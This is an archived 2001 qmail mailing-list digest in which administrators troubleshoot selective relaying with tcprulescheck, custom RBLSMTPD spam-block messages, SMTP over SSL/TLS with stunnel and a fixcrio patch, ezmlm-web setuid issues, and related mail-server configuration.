> Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
> the discovery that my Windows workstations - which are DHCP clients - do not
> have entries in my DNS. So when qmail does the reverse look up, it can't
> resolve the IP.
> Short of going off DHCP and putting all my workstations in my DNS, is there
> any way to "fix this"? 
> 

reverse lookop is not the problem. you habe IPs in your tcp.smtp file.
you can add a export NODNSCHECK="" in the qmail-startup file before
invoking the smtpd, but thats not the problem. 

what about charles idea about NAT ? 

did you telnet to port 25 from one of the clients and watch the qmail 
logfile ? can you cut and paste a logged try ? 


regards,
philipp 

 


 
Philipp Steinkrüger 

Technik
Oberberg Online
Tel.: +49 2261 814240
Fax: +49 2261 814919
www.oberberg.net
[EMAIL PROTECTED] 

RE: Selective Relaying and tcprulescheck

[Lukas Beeler]

At 12:00 01.08.2001 -0500, Scott Zielsdorf wrote:
>At 11:37 01.08.2001 -0500, Lukas Beeler wrote:
> > >So when qmail does the reverse look up, it can't
> > >resolve the IP.
> >
> > yes, but where's the problem ?
> >
>
>The problem is RELAYCLIENT doesn't get set and therefore the relaying rules
>in tcp.smtp.cdb do not get invoked - apparently.

the rules in tcp.smtp have to be set for ip adresses and not for domain names
so if you set them correctly they WILL get invoked..

>The headers in testing show the dialogue between any workstation on my net
>with qmail smtp as "HELO (machine name) (unknown)"

yes, because the machine doesnt have a PTR record, but that shouldnt make a 
problem

>So, I am *assuming* that even though I have -H (Do Not Look Up Remote Host
>Name) set in the run file invoking smtp that
>somesort of lookup is being done and when it can't resolve I get the
>"Sorry...you're not in my rcpthosts file" message.
it looks like your tcp.smtp file is set up incorrectly. tcpserver gets the 
remote ip adress from the connection handshake, and thats not any kind of 
look up


> > >Short of going off DHCP and putting all my workstations in my
> > DNS, is there
> > >any way to "fix this"?
> >
> > fix what ? everything will work, even without ptr records...
>
>Alas, NOTHING works with respect to selective relaying. Is it maybe a Linux
>net configuration issue? And to re-iterate from an earlier post, I have
>followed installation to the letter from LWQ.

selective relaying does not need reverse lookups, it i IP based.
i have an private lan running [10.10.1.x adresses] whitout any server that 
is authoritive for 10.10.in-addr.arpa, and it still works, of course.
i have the following line in tcp.smtp
10.10.:allow,RELAYCLIENT=""
as you see, we have ip adresses there, and they have nothing to do with PTR 
records..


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: http://www.projectdream.org>  / /

CNAME lookup failure (strange problem)

[Willy De la Court]

Hi,

in a bounce message i got this

<[EMAIL PROTECTED]>:
CNAME lookup failed temporarily. (#4.4.3)

Both sending and receiving mail server use the qmail rpm's from bruce.
so the big-dns patch is applied.
The domain quint.be is under my control.
I really don't understand it because in the dns i never used a CNAME.

Can anybody explain this.

Willy De la Court
Quint NV NS

RE: Selective Relaying and tcprulescheck

[Scott Zielsdorf]

At 11:37 01.08.2001 -0500, Lukas Beeler wrote:

> At 11:14 01.08.2001 -0500, Scott Zielsdorf wrote:
> >Once I set the TCPREMOTEIP variable I did see the rule which now
> leads me to
> >the discovery that my Windows workstations - which are DHCP
> clients - do not
> >have entries in my DNS.
>
> so far, so good. but tell me, what does the TCPREMOTEIP Variable have to
> with DNS ?

Ummm...nothing, at this stage, I would guess.

> >So when qmail does the reverse look up, it can't
> >resolve the IP.
>
> yes, but where's the problem ?
>

The problem is RELAYCLIENT doesn't get set and therefore the relaying rules
in tcp.smtp.cdb do not get invoked - apparently.
The headers in testing show the dialogue between any workstation on my net
with qmail smtp as "HELO (machine name) (unknown)"
So, I am *assuming* that even though I have -H (Do Not Look Up Remote Host
Name) set in the run file invoking smtp that
somesort of lookup is being done and when it can't resolve I get the
"Sorry...you're not in my rcpthosts file" message.

> >Short of going off DHCP and putting all my workstations in my
> DNS, is there
> >any way to "fix this"?
>
> fix what ? everything will work, even without ptr records...

Alas, NOTHING works with respect to selective relaying. Is it maybe a Linux
net configuration issue? And to re-iterate from an earlier post, I have
followed installation to the letter from LWQ.

Thanks,
Scott

Re: Selective Relaying and tcprulescheck

[Greg White]

On Wed, Aug 01, 2001 at 11:14:43AM -0500, Scott Zielsdorf wrote:
> Thanks Philipp and Charles for the help on this.
> 
> Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
> the discovery that my Windows workstations - which are DHCP clients - do not
> have entries in my DNS. So when qmail does the reverse look up, it can't
> resolve the IP.
> Short of going off DHCP and putting all my workstations in my DNS, is there
> any way to "fix this"?
> 
> Thanks.

What, precisely, needs 'fixing'? Reverse lookup is not a requirement.
Reverse lookup does not 'resolve IPs' -- it gives a PTR to an A record
for the host. TCPREMOTEIP is set based on the connection -- the address
is known, not looked up. What problem are you trying to solve?

GW

Re: Selective Relaying and tcprulescheck

[Charles Cazabon]

Scott Zielsdorf <[EMAIL PROTECTED]> wrote:
> 
> Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
> the discovery that my Windows workstations - which are DHCP clients - do not
> have entries in my DNS. So when qmail does the reverse look up, it can't
> resolve the IP.

This shouldn't be a problem if you're setting RELAYCLIENT by IP address
instead of by hostname/domainname.  Even if you're operating tcpserver
in paranoid mode, it only unsets TCPREMOTEHOST if forward and reverse
lookups don't match.

> Short of going off DHCP and putting all my workstations in my DNS, is there
> any way to "fix this"?

You can stay on DHCP; simply add PTR records for the IP addresses the
DHCP server hands out.  Is it possible that your workstations are being
NATed so that the IP address the mail server sees is not one of the ones
you've configured for relaying?

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

RE: Selective Relaying and tcprulescheck

[Lukas Beeler]

At 11:14 01.08.2001 -0500, Scott Zielsdorf wrote:
>Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
>the discovery that my Windows workstations - which are DHCP clients - do not
>have entries in my DNS.

so far, so good. but tell me, what does the TCPREMOTEIP Variable have to 
with DNS ?

>So when qmail does the reverse look up, it can't
>resolve the IP.

yes, but where's the problem ?

>Short of going off DHCP and putting all my workstations in my DNS, is there
>any way to "fix this"?

fix what ? everything will work, even without ptr records...


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: http://www.projectdream.org>  / /

Re: ezmlm idx + ezmlm web + setuid

[Bernhard Graf]

Hi lkirchhoff,

> i've  just installed the ezmlm 0.53 with idx 0.4 and 
> tried to run  ezmlm-web.cgi. The problem is that the 
> lists are always created in the /tmp dir. I tried to 
> set up the  /var/qmail/alias dir in the  ezmlmwebrc, 
> but  then  i  had  an   error with qmail [homedir is 
> writeable]. This is  because the setuid of the  cgi- 
> wrapper  isn't working correctly, so i had to change 
> the dir mode to 777.
> 
> Here is the ls output of cgi-bin dir:
> drwxr-xr-x   2 root root 4096 Aug  1 15:26 ./
> drwxr-xr-x   4 root root 4096 Aug  1 15:19 ../
> -rwsr-xr-x   1 aliasusers   11411 Jul 31 12:38 ezmlm-startweb.cgi*
> 
> I thought that  this will  cause that  the script is 
> running  under   the  user  alias  and  the  created  
> directories will be  owned by him.  But all dirs are 
> still created from wwwrun. 
> Is there a special  setup needed  for apache, that i
> can execute suid scripts?
> Why are the dirs still created by wwwrun?

1. mailto:[EMAIL PROTECTED]
2. forget about the cgi-wrapper that comes with ezmlm-web
3. read http://httpd.apache.org/docs/suexec.html
4. read about suexec wrapper in INSTALL file in apache source directory

bye
-- 
Bernhard Graf <[EMAIL PROTECTED]>

RE: Selective Relaying and tcprulescheck

[Scott Zielsdorf]

Thanks Philipp and Charles for the help on this.

Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
the discovery that my Windows workstations - which are DHCP clients - do not
have entries in my DNS. So when qmail does the reverse look up, it can't
resolve the IP.
Short of going off DHCP and putting all my workstations in my DNS, is there
any way to "fix this"?

Thanks.

> -Original Message-
> From: Philipp Steinkrüger
> Sent: Wednesday, August 01, 2001 10:33 AM
>
> you have to set and probably export (someone correct me if i am
> wrong here)
> $TCPREMOTEIP before invoking tcprules check. then, tcprulescheck
> will tell you what will happen to a connection from the ip in
$TCPREMOTEIP.

Re: mystery failure notice

[Greg White]

On Wed, Aug 01, 2001 at 10:34:27AM -0500, Virginia Chism wrote:
> I received a failure notice concerning an email I did not send.  I am
> attempting to track down how this happened and have hit a wall.  When I do
> 'tail -f /var/log/maillog' I get current activity.  If I do 'more
> /var/log/maillog' it goes all the way back to day one and I don't have time
> to slog through FOUR YEARS of maillog when what I need was a couple of days
> ago.  Is there any way to select a certain number of items to view in this
> log?
> 

This has nothing whatsoever to do with qmail. This is a basic sysadmin
question.

Hint -- grep is your friend. Look into the -A option if it exists on
your system. 

man grep

-- 
Greg White

mystery failure notice

[Virginia Chism]

I received a failure notice concerning an email I did not send.  I am
attempting to track down how this happened and have hit a wall.  When I do
'tail -f /var/log/maillog' I get current activity.  If I do 'more
/var/log/maillog' it goes all the way back to day one and I don't have time
to slog through FOUR YEARS of maillog when what I need was a couple of days
ago.  Is there any way to select a certain number of items to view in this
log?

Re: Selective Relaying and tcprulescheck

[Charles Cazabon]

Scott Zielsdorf <[EMAIL PROTECTED]> wrote:
> 
> I did notice in my search of the Web that people were reporting detailed
> output from running tcprulescheck /etc/tcp.smtp.cdb.
> Here's the contents of my tcp.smtp file (cut and pasted):
> 
> 127.:allow,RELAYCLIENT=""
> 192.168.10.:allow,RELAYCLIENT=""

Which implies :allow .
 
> Yet, when I run tcprulescheck, I get this:
> 
> [root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
> default:
> allow connection
> [root@cilinux /etc]#
> 
> If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
> as above.

How are you calling tcprulescheck?  It needs the environment variable.
Try the following:

  TCPREMOTEIP=192.168.10.4 tcprulescheck /etc/tcp.smtp.cdb
 
Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

[Russell Nelson]

Roger Merchberger writes:
 > Rumor has it that Russell Nelson may have mentioned these words:
 > >Yup.  Anybody who uses an email client that they didn't write
 > >themselves (in assembly language) is just a poseur.
 > 
 > Altho I've never really stopped programming in assembly, I do *very* little
 > with it nowadays... and until sombody gets that mighty 1.78Mhz 6809 to
 > handle a TCP/IP stack in my CoCo3 (thru the bit-banger serial port, no
 > less) I doubt I will program my MUA in assembly...

Feh.  If you were any good, you'd be able to connect an Ethernet
controller to it, and port a TCP/IP stack to the thing.  I managed to
wrire-wrap a board for HP's HP-IL interface chip (the 1LB3) and an
EEPROM.  I put an HP-IL controller into the EEPROM so I could use HP's
HP-IL tape drive to load and save programs.  The CoCo3 was an
excellent hacker's computer, and HP an excellent hacker's company.

 > I'd like to put a different (and prolly longer) message in there, including
 > an off-site email address that folks could use if they do stop sending
 > spam, but putting that on *every* line is becoming tedious...

Use a tool to build tcp.smtp?

-- 
-russ nelson <[EMAIL PROTECTED]>  http://russnelson.com
Crynwr sells support for free software  | PGPok | 
521 Pleasant Valley Rd. | +1 315 268 1925 voice | #exclude 
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | 

Re: Selective Relaying and tcprulescheck

[Philipp Steinkrüger]

Hi Scott,

you have to set and probably export (someone correct me if i am wrong here) 
$TCPREMOTEIP before invoking tcprules check. then, tcprulescheck will tell 
you what will happen to a connection from the ip in $TCPREMOTEIP.
for example if your tcp.smtp file is: 

127.:allow,RELAYCLIENT=""
192.168.10.:allow,RELAYCLIENT=""
:deny (<- default) 

and you put 192.168.10.5 in $TCPREMOTEIP then it well tell you 

rule :
allow connection 

if you put 63.195.102.4 i.e, then it will tell you: 

rule :
deny connection 


hope that helps you. check the refernce page for tcprulescheck: 

http://cr.yp.to/ucspi-tcp/tcprulescheck.html 

 

Regards,
Philipp 

Scott Zielsdorf writes: 

> 127.:allow,RELAYCLIENT=""
> 192.168.10.:allow,RELAYCLIENT="" 
> 
> Yet, when I run tcprulescheck, I get this: 
> 
> [root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
> default:
> allow connection
> [root@cilinux /etc]# 
> 
> If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
> as above. 
> 
> I have compiled my rules by both invoking tcprules /etc/tcp.smtp.cdb
> /etc/tcp.smtp.tmp < /etc/tcp.smtp  and qmailctl cdb  
> 
> Is the minimal output I am seeing from tcprulescheck "normal" or do I have a
> problem there? And if it's a problem - what do I do to fix it? 
> 
> Thanks, 
> 
> 
> Scott Zielsdorf
> Senior Technical Support Consultant
> Computer Instruments IVR Solutions Support Group
> Voice: 913.492.1888 x8862 Fax: 913.492.1483 
> 
 


 
Philipp Steinkrüger 

Technik
Oberberg Online
Tel.: +49 2261 814240
Fax: +49 2261 814919
www.oberberg.net
[EMAIL PROTECTED] 

Selective Relaying and tcprulescheck

[Scott Zielsdorf]

Greetings All,

I have reinstalled qmail EXACTLY via the documentation in LWQ EXCEPT for
installation of the daemontools. I am using daemontools 0.76 and I used the
referenced Web page in the README to install. I have tried all manner of run
files supplied by members of the list - and thank you Robin and others who
sent their run files to me. Still, I cannot get selective relay to work.
qmail is either promiscuous or a virgin but their ain't no inbetween when it
comes to relaying.

I did notice in my search of the Web that people were reporting detailed
output from running tcprulescheck /etc/tcp.smtp.cdb.
Here's the contents of my tcp.smtp file (cut and pasted):

127.:allow,RELAYCLIENT=""
192.168.10.:allow,RELAYCLIENT=""

Yet, when I run tcprulescheck, I get this:

[root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
default:
allow connection
[root@cilinux /etc]#

If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
as above.

I have compiled my rules by both invoking tcprules /etc/tcp.smtp.cdb
/etc/tcp.smtp.tmp < /etc/tcp.smtp  and qmailctl cdb 

Is the minimal output I am seeing from tcprulescheck "normal" or do I have a
problem there? And if it's a problem - what do I do to fix it?

Thanks,


Scott Zielsdorf
Senior Technical Support Consultant
Computer Instruments IVR Solutions Support Group
Voice: 913.492.1888 x8862 Fax: 913.492.1483

ezmlm idx + ezmlm web + setuid

[lkirchhoff]

Hi,

i've  just installed the ezmlm 0.53 with idx 0.4 and 
tried to run  ezmlm-web.cgi. The problem is that the 
lists are always created in the /tmp dir. I tried to 
set up the  /var/qmail/alias dir in the  ezmlmwebrc, 
but  then  i  had  an   error with qmail [homedir is 
writeable]. This is  because the setuid of the  cgi- 
wrapper  isn't working correctly, so i had to change 
the dir mode to 777.

Here is the ls output of cgi-bin dir:
drwxr-xr-x   2 root root 4096 Aug  1 15:26 ./
drwxr-xr-x   4 root root 4096 Aug  1 15:19 ../
-rwsr-xr-x   1 aliasusers   11411 Jul 31 12:38 ezmlm-startweb.cgi*

I thought that  this will  cause that  the script is 
running  under   the  user  alias  and  the  created  
directories will be  owned by him.  But all dirs are 
still created from wwwrun. 
Is there a special  setup needed  for apache, that i
can execute suid scripts?
Why are the dirs still created by wwwrun?

any solutions would be very helpful.

thanks in advance

ciao Lars

Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

[Roger Merchberger]

Rumor has it that Peter van Dijk may have mentioned these words:

[snip]

>file:
>195.219.116.19
>195.219.91.3
>198.30.222.8
>
>tool:
>perl -ne 'chomp(); print "$_:allow,RBLSMTPD=/-yuck fou./\n";'

     ;-)

I'd *love* to use that as my default text, but methinks I'll have to be a
bit more diplomatic.

>Filter file through tool. Add sugar or milk according to taste. Enjoy.

I'm writing a perl script to take my Eudora mbox spam file and extract all
of the IP addresses to put in my tcp.smtp automagically, where i was
planning on adding that line... but if someone with an open relay closes
it, they won't be able to contact me to let me know they fixed their MUA.

But in other words, "live with it." No problem.

Hey - here's an idea: Can you set an arbitrary environment variable (like
DATESET="whatever"), and will qmail ignore it? That way, I could have my
proggie note when the entry was listed, and I can remove entries not
associated with a netblock, say, over 1 or 2 months old automatically...

I'm trying to get a handle on this spam thing, now that mail-abuse.org is
now charging for their services -- I checked out their prices, and while
they're not highway robbery, they're pretty tough for a small ISP to afford.

Thanks again!
Roger "Merch" Merchberger
--
Roger "Merch" Merchberger   ---   sysadmin, Iceberg Computers
Recycling is good, right???  Ok, so I'll recycle an old .sig.

If at first you don't succeed, nuclear warhead
disarmament should *not* be your first career choice.

Re: slow delivering the outgoing messages

[Charles Cazabon]

Dani <[EMAIL PROTECTED]> wrote:
> > > Hi, i have a linux box running qmail + mysql with smtpauth, and
> > > the smtp is too slow delivering the outgoing messages. I would
> > > like to know if there is any thing i could do to solve this
> > > problem, if there are any parameters to be configured in any of
> > > the files so the delivery goes faster.
 
> >Yes, there probably are.  But you haven't told us anything.  Start by
> >posting the unedited output of qmail-showctl.
 
> Hi, here there are my output of qmail-showctl:
[...] 
> concurrencylocal: (Default.) Local concurrency is 10.
> 
> concurrencyremote: (Default.) Remote concurrency is 20.

Well, these values are low for a high-volume server.  Check your
qmail-send logs; if you're frequently hitting these concurrency limits,
then try raising them.  If you're not hitting these limits regularly,
then raising them will have no effect on the speed of delivery.

Do not post a followup to this message asking how to raise the
concurrency, or where to find the qmail-send logs, or anything like
that.  It's all in the documentation.

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: Message without Subject and From!!!

[Charles Cazabon]

Daniel Abad <[EMAIL PROTECTED]> wrote:
> 
> When a send a message to my virtual user, I check it from telnet and it's
> without subject and from!! What should I do?? 

Compose your message differently.  The "From:" and "Subject:" fields in
the message header are completely optional.

This isn't a qmail issue.  See the documentation for your MUA for
further details.

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: Sublist (Was: Virus-infected listmembers)

[Uwe Ohse]

On Tue, Jul 31, 2001 at 06:50:33PM +0200, Lukas Beeler wrote:

[a lot of broken quoting]
Please, learn how to correctly reply to messages. Your "style" 
makes it very hard to distinguish between your own words and these
of the one you replied to. You also quoted a signature, which is
bad style, too.

btw, you might also want to use a mail-followup-to header. 
btw2, there is rarely a reason to CC Russ Nelson if you are
sending mails to the qmail mailing list. I can imagine only
one: The wish to annoy him.


> i use a windows MUA because i have to, because i don't have the money, to 
> buy a third computer [beside my devel "server"].

why do you use windows at all?
Yes, i know that there are three reasons to use windows. Encarta, 
M$ SQL-Server and wanting to support Gates and Balmer ...


> Or would you tell your 
> mother, that she now should use mutt as her email client ?

Of course.
She either uses software i recommend or she has to buy support from
somewhere.
Apart from that, there's software besides mutt. I've heard about
20 to 100 email clients for unix over the years. Most are free and
usuable. 

Regards, Uwe

RE: SMTP+SSL

[Dave Sill]

"Per-fredrik Pollnow (EPK)" <[EMAIL PROTECTED]>
wrote:

>But how to you do when you are using stunnel + smtpd ?
>
>This is some of the tings I have tried:
>--
>#!/bin/sh
>QMAILDUID=`id -u qmaild`
>NOFILESGID=`id -g qmaild`
>MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
>exec /usr/local/bin/softlimit -m 200 \
>/usr/local/bin/tcpserver -v -R -l 0 -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" \
> -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp /usr/local/sbin/stunnel -p 
>/etc/pem/smtp.pem -N smtp -l/var/qmail/bin/qmail-smtpd 2>&1 -- qmail-smtpd

Add the "-f" stunnel option and remove the "-- qmail-smtpd".

>AND
>--
>#!/bin/sh
>exec /usr/local/sbin/stunnel -p /etc/pem/smtp.pem -d 465 -r 25 2>&1
>
>--

Add the "-f" stunnel option.

Describe your testing procedure (which client are you using?) and
provide a copy of any error messages you're getting.

-Dave

Re: qmail won't start

[Dave Sill]

"Marenbach, Peter" <[EMAIL PROTECTED]> wrote:

>I just build and set up qmail for the first time (according to the
>installation description in Life with qmail) on a Solaris 5.8 box.
>
>I tried to start qmail by invoking 
>   qmail-start ./Mailbox splogger qmail
>and nothing at all did happen. No stderr/stdout no syslog, no processes
>running.
>
>Any ideas?

Yeah, why didn't you follow LWQ? I mean, why use LWQ is you're not
going to do what it tells you to do?

No sane qmail installation document will tell you to run qmail-start
manually..

-Dave

Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

[Peter van Dijk]

On Wed, Aug 01, 2001 at 09:38:19AM -0400, Roger Merchberger wrote:
[snip]
> 195.219.116.19:allow,RBLSMTPD=/-You are banned from sending mail here;
> known spam host./
> 195.219.91.3:allow,RBLSMTPD=/-You are banned from sending mail here; known
> spam host./
> 198.30.222.8:allow,RBLSMTPD=/-You are banned from sending mail here; known
> spam host./
> 
> I'd like to put a different (and prolly longer) message in there, including
> an off-site email address that folks could use if they do stop sending
> spam, but putting that on *every* line is becoming tedious...
> 
> Do I just "live with it" or is there an easier solution?

file:
195.219.116.19
195.219.91.3
198.30.222.8

tool:
perl -ne 'chomp(); print "$_:allow,RBLSMTPD=/-yuck fou./\n";'

Filter file through tool. Add sugar or milk according to taste. Enjoy.

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html

custom RBLSMTPD message... (was: Sublist (Was: Virus...)

[Roger Merchberger]

Rumor has it that Russell Nelson may have mentioned these words:
>Smithj writes:
> > Use GIMP :)
>
>Yup.  Anybody who uses an email client that they didn't write
>themselves (in assembly language) is just a poseur.

Altho I've never really stopped programming in assembly, I do *very* little
with it nowadays... and until sombody gets that mighty 1.78Mhz 6809 to
handle a TCP/IP stack in my CoCo3 (thru the bit-banger serial port, no
less) I doubt I will program my MUA in assembly...

In a feeble attempt to bring some signal back to the noise, I dunno if this
is a FAQ or not (but I'd suspect not...) and I have searched the archives
to no avail, but I was wondering if you can use an environment variable or
*something* to set the RBLSMTPD= variable in tcp.smtp... here's a snippet
of that file:

195.219.116.19:allow,RBLSMTPD=/-You are banned from sending mail here;
known spam host./
195.219.91.3:allow,RBLSMTPD=/-You are banned from sending mail here; known
spam host./
198.30.222.8:allow,RBLSMTPD=/-You are banned from sending mail here; known
spam host./

I'd like to put a different (and prolly longer) message in there, including
an off-site email address that folks could use if they do stop sending
spam, but putting that on *every* line is becoming tedious...

Do I just "live with it" or is there an easier solution?

Thanks,
Roger "Merch" Merchberger

-- P.S. I use Eudora 3.0 Pro for my email client (with everything turned
off...) and under Linux I use *nothing* because I've found no client yet
that allows you to selectively remove messages via POP3 automagically thru
a filter. At home, I telnet in & grep the Maildir/new if I need to find
something important...
--
Roger "Merch" Merchberger   ---   sysadmin, Iceberg Computers
Recycling is good, right???  Ok, so I'll recycle an old .sig.

If at first you don't succeed, nuclear warhead
disarmament should *not* be your first career choice.

Re: Concurrency connections

[Himanshu Kulkarni]

hi

we are using Qmail 1.03 with LDAP ... and we have applied LDAP patch ... i
am now getting the "deferral:qmail-spawn_unabme_to_fork_(#4.3.0)" ... very
frequently  also on Linux 7.0 we are getting error  "bash: fork:
Resource temporarily unavailable" ..

the error message in maillog file is
Jul 25 09:50:23 mummail3 qmail: 996034823.354251 delivery 23: deferral:
qmail-spawn_unable_to_fork._(#4.3.0)

Jul 25 09:50:23 mummail3 qmail: 996034823.370976 status: local 0/35 remote
21/200

Jul 25 09:50:23 mummail3 qmail: 996034823.387715 delivery 24: deferral:
qmail-spawn_unable_to_fork._(#4.3.0)/

Jul 25 09:50:23 mummail3 qmail: 996034823.404424 status: local 0/35 remote
20/200

On Linux server while checking the resources it is observed that Qmail is
unable to close the TCP connection  in the output of netstat command it
is observed that at any point of time almost 100 connections are in
"TIME_WAIT" state against 10 in ESTABLISHED state 

I am attaching part of the netstat command out put 

bash-2.04# netstat |more

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 mummail3.isp.:smtp 192.168.100.5:3331 TIME_WAIT

tcp 0 0 mummail3.isp.:smtp 192.168.100.5:3330 TIME_WAIT

tcp 0 0 mummail3.isp.:pop3 203.124.240.10:1513 TIME_WAIT

tcp 0 0 mummail3.isp.:pop3 192.168.100.88:1087 TIME_WAIT


We are using IBM LDAP is installed on AIX. After discussing with IBM, they
have concluded that the problem is due to Qmail failing to close its
connection with LDAP cleanly.

any help on this is wel come ...

thanks and regards

Himanshu

Re: SSL again with tls.patch

[Christophe Saout]

Franz Sirl wrote:
 
> Incidentally I just got this to work yesterday on a server of mine. I had
> initial problems too, but I got rid of them with the following steps:
> 
> - on "make cert" in the patched qmail-1.03 dir, entered the machines
> hostname for "Common name (...)"
> - removed "fixcrio" from the qmail-smtpd invocation line (hmm, try removing
> rblsmtpd too if you use it?)
> - created /var/qmail/control/tlsserverciphers with "DEFAULT" as the only
> content
> 
> I dunno which of the above steps are really necessary, but it works here
> now with Eudora-5.1 as the client. Now I have to find out how to teach
> qmail-pop3 TLS...

I've written a small (hacky) patch to fixcrio so that it recognizes TLS
sessions.
But you don't need to remove rblsmtpd, it works fine here.

--- ucspi-tcp-0.88/fixcrio.cSat Mar 18 16:18:42 2000
+++ ucspi-tcp-0.88.new/fixcrio.cSat Jun  2 01:39:46 2001
@@ -23,6 +23,14 @@
 int rightpos;
 int rightflagcr = 0;
 
+#define NULL ((void *)0)
+int active = 1;
+int gotleft_tls = 0;
+static char left_tls[] = "STARTTLS";
+static char right_tls[] = "220";
+static char *left_p = NULL;
+static char *right_p = NULL;
+
 void doit(int fdleft,int fdright)
 {
   struct taia stamp;
@@ -83,9 +91,20 @@
leftlen = 0;
for (i = 0;i < r;++i) {
  ch = prebuf[i];
- if (ch == '\n')
-   if (!leftflagcr)
- leftbuf[leftlen++] = '\r';
+ if (active)
+   if (ch == '\n') {
+ if (!leftflagcr)
+   leftbuf[leftlen++] = '\r';
+ gotleft_tls = (left_p != NULL && *left_p == 0);
+ if (gotleft_tls)
+   right_p = right_tls;
+ left_p = left_tls;
+   } else if (left_p != NULL && *left_p != 0) {
+ if (ch == *left_p)
+   left_p++;
+ else
+   left_p = NULL;
+   }
  leftbuf[leftlen++] = ch;
  leftflagcr = (ch == '\r');
}
@@ -107,9 +126,18 @@
   rightlen = 0;
   for (i = 0;i < r;++i) {
ch = prebuf[i];
-   if (ch == '\n')
- if (!rightflagcr)
-   rightbuf[rightlen++] = '\r';
+   if (active)
+ if (ch == '\n') {
+   if (!rightflagcr)
+ rightbuf[rightlen++] = '\r';
+   active = !(right_p != NULL && *right_p == 0);
+   right_p = NULL;
+ } else if (right_p != NULL && *right_p != 0) {
+   if (ch == *right_p)
+ right_p++;
+   else
+ right_p = NULL;
+ }
rightbuf[rightlen++] = ch;
rightflagcr = (ch == '\r');
   }

Ciao, Chtephan!

Re: SSL again with tls.patch

[Franz Sirl]

At 12:01 01.08.2001, Per-fredrik Pollnow (EPK) wrote:
>Hi,
>
>I think I'm getting on you nerves in this mailing list with my SSL crap, 
>but I need to get it to work.
>
>OK, This is what I have done: I have remake qmail-1.03 with tls.patch, and 
>I replaced the qmail-smtpd and qmail-remote binary. I have done a 
>/var/qmail/control/servercert.pem (and I have openssl installed (default 
>in the O/S [OpenBSD2.9] hmm else I couldn't install the cert.)).
>
>That's it, But I get this error messages in my client:
>
>Unable to establish a SSL connection with the server. Account: 
>'136.225.42.56', Server: '136.225.42.56', Protocol: SMTP, Server Response: 
>'454 TLS not available: missing RSA private key (#4.3.0)', Port: 25, 
>Secure(SSL): Yes, Server Error: 454, Error Number: 0x800CCC7F
>
>If someone knows what the problem is, please mail me and the mailing list 
>a E-mail :=).

Incidentally I just got this to work yesterday on a server of mine. I had 
initial problems too, but I got rid of them with the following steps:

- on "make cert" in the patched qmail-1.03 dir, entered the machines 
hostname for "Common name (...)"
- removed "fixcrio" from the qmail-smtpd invocation line (hmm, try removing 
rblsmtpd too if you use it?)
- created /var/qmail/control/tlsserverciphers with "DEFAULT" as the only 
content

I dunno which of the above steps are really necessary, but it works here 
now with Eudora-5.1 as the client. Now I have to find out how to teach 
qmail-pop3 TLS...

Franz.

ScanMail Message: To Recipient virus found and action taken.

[System Attendant]

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = [EMAIL PROTECTED]
Recipient(s) = [EMAIL PROTECTED]
Subject = GFIPpap_01
Scanning Time = 08/01/2001 18:48:37

Action on virus found:
The attachment GFIPpap_01.xls.pif exists TROJ_SIRCAM.A virus. ScanMail has
Moved it.  The attachment was moved to
d:\Virus\GFIPpap_01.xls3b67de8568.pif_.

Warning to recipient. ScanMail detected a virus in an email attachment and
has been removed!  If this mail is from Internet, the sender don't know
his/her mail consists of virus and has been removed.  Please ask the sender
to clean and re-send.

Re: Received: from unknown PROBLEM

[Peter van Dijk]

On Wed, Aug 01, 2001 at 03:51:59PM +0530, Mustafa Mahudhawala wrote:
> Hello,
> My Qmail is working fine , smtp / pop et al.
> BUT whenever I see Mail Headers I always have this ...
> 
> I sent an email from indiatimes to my mail.
> 
> Return-Path: <[EMAIL PROTECTED]>
> Delivered-To: [EMAIL PROTECTED]
> Received: (qmail 78698 invoked from network); 1 Aug 2001 09:53:00 -
> Received: from unknown (HELO WS0005.indiatimes.com) (203.199.93.15)
>   by 0 with SMTP; 1 Aug 2001 09:53:00 -
> Received: from 192.168.57.15 (a3 [192.168.57.23])
>  by WS0005.indiatimes.com (8.9.3/8.9.3) with SMTP id PAA04070
> 
> Why unknown ???
> SMTP Entries of other smtp servers show correct user or host name !!!
> 
> THIS IS JUST ONE EXAMPLE

Do you need to make such loud noises?

Your server has no reverse name in DNS.

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html

Received: from unknown PROBLEM

[Mustafa Mahudhawala]

Hello,
My Qmail is working fine , smtp / pop et al.
BUT whenever I see Mail Headers I always have this ...

I sent an email from indiatimes to my mail.

Return-Path: <[EMAIL PROTECTED]>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 78698 invoked from network); 1 Aug 2001 09:53:00 -
